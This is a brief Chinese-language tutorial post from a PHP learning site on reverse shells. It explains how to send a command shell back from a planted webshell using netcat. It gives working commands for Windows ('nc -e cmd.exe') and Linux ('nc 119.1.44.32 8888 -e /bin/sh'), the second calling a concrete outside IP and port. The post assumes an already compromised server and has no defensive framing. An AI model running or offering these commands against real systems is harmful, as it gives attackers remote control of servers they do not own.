来源：自学PHP网 时间：2015-04-17 14:47 作者： 阅读:次
[导读] 在进行Shell反弹时，有时会碰到服务器不支持PHP或者WebShell无法成功反弹Shell的情况，例如有的服务器只支持JSP，不支持PHP。此时，可以同样采用Windows下的经典的NC反弹Shell方法。在Windo...
|
在进行Shell反弹时，有时会碰到服务器不支持PHP或者WebShell无法成功反弹Shell的情况，例如有的服务器只支持JSP，不支持PHP。此时，可以同样采用Windows下的经典的NC反弹Shell方法。 在Windows下反弹CmdShell时，首先www.2cto.com要在本机运行"nc -vv -l -p 端口号"监听端口，然后在WebShell中执行"nc -e cmd.exe 监听主机IP地址 端口"，就可以反弹一个CmdShell。这个方法在Linux中仍然可行，只不过需要作一点小小的改动。 --在本机监听端口后，在WebShell运行nc反弹时，需要发送的是"/bin/sh"，而不是cmd.exe，这样才够反弹发送一个Linux下的Shell命令行窗口给监听主机。例如执行如下命令： nc 119.1.44.32 8888 -e /bin/sh 即可反弹一个Shell到IP地址为119.1.44.32的监听主机的8888端口。 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
